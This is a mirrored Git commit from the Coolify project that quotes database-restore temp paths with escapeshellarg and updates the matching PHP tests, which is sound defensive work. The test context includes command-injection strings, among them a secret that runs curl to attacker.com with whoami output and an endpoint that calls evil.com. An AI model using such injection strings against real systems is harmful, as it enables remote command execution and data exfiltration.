mirror of
https://github.com/coollabsio/coolify.git
synced 2026-06-13 19:09:50 +00:00
fix(database): quote S3 restore temp paths
Escape generated restore file paths before composing docker and shell cleanup commands so paths with spaces or metacharacters cannot break command execution. Update import form security coverage to target ImportForm directly.
This commit is contained in:
@@ -685,13 +685,21 @@ EOD;
|
||||
$containerTmpPath = "/tmp/restore_{$this->resourceUuid}-".basename($cleanPath);
|
||||
$scriptPath = "/tmp/restore_{$this->resourceUuid}.sh";
|
||||
|
||||
$escapedServerTmpPath = escapeshellarg($serverTmpPath);
|
||||
$escapedContainerTmpPath = escapeshellarg($containerTmpPath);
|
||||
$escapedScriptPath = escapeshellarg($scriptPath);
|
||||
$escapedHelperContainerPath = escapeshellarg("{$containerName}:{$helperTmpPath}");
|
||||
$escapedDatabaseContainerTmpPath = escapeshellarg("{$this->container}:{$containerTmpPath}");
|
||||
$escapedDatabaseContainerScriptPath = escapeshellarg("{$this->container}:{$scriptPath}");
|
||||
$restoreAndCleanupCommand = escapeshellarg("{$escapedScriptPath} && rm -f {$escapedContainerTmpPath} {$escapedScriptPath}");
|
||||
|
||||
// Prepare all commands in sequence
|
||||
$commands = [];
|
||||
|
||||
// 1. Clean up any existing helper container and temp files from previous runs
|
||||
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
|
||||
$commands[] = "docker exec {$this->container} rm -f {$containerTmpPath} {$scriptPath} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$escapedServerTmpPath} 2>/dev/null || true";
|
||||
$commands[] = "docker exec {$this->container} rm -f {$escapedContainerTmpPath} {$escapedScriptPath} 2>/dev/null || true";
|
||||
|
||||
// 2. Start helper container on the database network
|
||||
$commands[] = "docker run -d --network {$destinationNetwork} --name {$containerName} {$fullImageName} sleep 3600";
|
||||
@@ -703,8 +711,6 @@ EOD;
|
||||
$commands[] = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
|
||||
// 4. Check file exists in S3 (bucket and path already validated above)
|
||||
$escapedBucket = escapeshellarg($bucket);
|
||||
$escapedCleanPath = escapeshellarg($cleanPath);
|
||||
$escapedS3Source = escapeshellarg("s3temp/{$bucket}/{$cleanPath}");
|
||||
$commands[] = "docker exec {$containerName} mc stat {$escapedS3Source}";
|
||||
|
||||
@@ -713,23 +719,23 @@ EOD;
|
||||
$commands[] = "docker exec {$containerName} mc cp {$escapedS3Source} {$escapedHelperTmpPath}";
|
||||
|
||||
// 6. Copy from helper to server, then immediately to database container
|
||||
$commands[] = "docker cp {$containerName}:{$helperTmpPath} {$serverTmpPath}";
|
||||
$commands[] = "docker cp {$serverTmpPath} {$this->container}:{$containerTmpPath}";
|
||||
$commands[] = "docker cp {$escapedHelperContainerPath} {$escapedServerTmpPath}";
|
||||
$commands[] = "docker cp {$escapedServerTmpPath} {$escapedDatabaseContainerTmpPath}";
|
||||
|
||||
// 7. Cleanup helper container and server temp file immediately (no longer needed)
|
||||
$commands[] = "docker rm -f {$containerName} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$serverTmpPath} 2>/dev/null || true";
|
||||
$commands[] = "rm -f {$escapedServerTmpPath} 2>/dev/null || true";
|
||||
|
||||
// 8. Build and execute restore command inside database container
|
||||
$restoreCommand = $this->buildRestoreCommand($containerTmpPath);
|
||||
|
||||
$restoreCommandBase64 = base64_encode($restoreCommand);
|
||||
$commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}";
|
||||
$commands[] = "chmod +x {$scriptPath}";
|
||||
$commands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}";
|
||||
$commands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$escapedScriptPath}";
|
||||
$commands[] = "chmod +x {$escapedScriptPath}";
|
||||
$commands[] = "docker cp {$escapedScriptPath} {$escapedDatabaseContainerScriptPath}";
|
||||
|
||||
// 9. Execute restore and cleanup temp files immediately after completion
|
||||
$commands[] = "docker exec {$this->container} sh -c '{$scriptPath} && rm -f {$containerTmpPath} {$scriptPath}'";
|
||||
$commands[] = "docker exec {$this->container} sh -c {$restoreAndCleanupCommand}";
|
||||
$commands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'";
|
||||
|
||||
// Execute all commands with cleanup event (as safety net for edge cases)
|
||||
@@ -761,6 +767,7 @@ EOD;
|
||||
|
||||
public function buildRestoreCommand(string $tmpPath): string
|
||||
{
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$morphClass = $this->resource->getMorphClass();
|
||||
|
||||
// Handle ServiceDatabase by checking the database type
|
||||
@@ -782,32 +789,32 @@ EOD;
|
||||
case 'mariadb':
|
||||
$restoreCommand = $this->mariadbRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD \${MARIADB_DATABASE:-default}";
|
||||
$restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 2>/dev/null || cat {$escapedTmpPath}) | mariadb -u root -p\$MARIADB_ROOT_PASSWORD \${MARIADB_DATABASE:-default}";
|
||||
} else {
|
||||
$restoreCommand .= " < {$tmpPath}";
|
||||
$restoreCommand .= " < {$escapedTmpPath}";
|
||||
}
|
||||
break;
|
||||
case StandaloneMysql::class:
|
||||
case 'mysql':
|
||||
$restoreCommand = $this->mysqlRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD \${MYSQL_DATABASE:-default}";
|
||||
$restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 2>/dev/null || cat {$escapedTmpPath}) | mysql -u root -p\$MYSQL_ROOT_PASSWORD \${MYSQL_DATABASE:-default}";
|
||||
} else {
|
||||
$restoreCommand .= " < {$tmpPath}";
|
||||
$restoreCommand .= " < {$escapedTmpPath}";
|
||||
}
|
||||
break;
|
||||
case StandalonePostgresql::class:
|
||||
case 'postgresql':
|
||||
$restoreCommand = $this->postgresqlRestoreCommand;
|
||||
if ($this->dumpAll) {
|
||||
$restoreCommand .= " && (gunzip -cf {$tmpPath} 2>/dev/null || cat {$tmpPath}) | psql -U \${POSTGRES_USER} -d \${POSTGRES_DB:-\${POSTGRES_USER:-postgres}}";
|
||||
$restoreCommand .= " && (gunzip -cf {$escapedTmpPath} 2>/dev/null || cat {$escapedTmpPath}) | psql -U \${POSTGRES_USER} -d \${POSTGRES_DB:-\${POSTGRES_USER:-postgres}}";
|
||||
} else {
|
||||
$restoreCommand .= " {$tmpPath}";
|
||||
$restoreCommand .= " {$escapedTmpPath}";
|
||||
}
|
||||
break;
|
||||
case StandaloneMongodb::class:
|
||||
case 'mongodb':
|
||||
$restoreCommand = $this->mongodbRestoreCommand."{$tmpPath}";
|
||||
$restoreCommand = $this->mongodbRestoreCommand.$escapedTmpPath;
|
||||
break;
|
||||
default:
|
||||
$restoreCommand = '';
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Livewire\Attributes\Locked;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
@@ -45,43 +46,43 @@ describe('container name validation', function () {
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
@@ -89,7 +90,7 @@ describe('locked properties', function () {
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
describe('ImportForm component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
|
||||
});
|
||||
|
||||
test('validateBucketName accepts valid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Valid bucket names
|
||||
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateBucketName rejects invalid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Invalid bucket names (command injection attempts)
|
||||
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path accepts valid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Valid S3 paths
|
||||
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path rejects invalid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Invalid S3 paths (command injection attempts)
|
||||
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath accepts valid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Valid server paths (must be absolute)
|
||||
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath rejects invalid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Invalid server paths
|
||||
|
||||
@@ -1,8 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
// This is the core security mechanism used by ImportForm.
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
// Simulate the exact scenario from ImportForm.
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
|
||||
it('quotes restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain(escapeshellarg($tmpPath))
|
||||
->not->toContain(" {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
'mongodb' => StandaloneMongodb::class,
|
||||
]);
|
||||
|
||||
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
$component->dumpAll = true;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain("gunzip -cf {$escapedTmpPath}")
|
||||
->toContain("cat {$escapedTmpPath}")
|
||||
->not->toContain("gunzip -cf {$tmpPath}")
|
||||
->not->toContain("cat {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
]);
|
||||
|
||||
Reference in New Issue
Block a user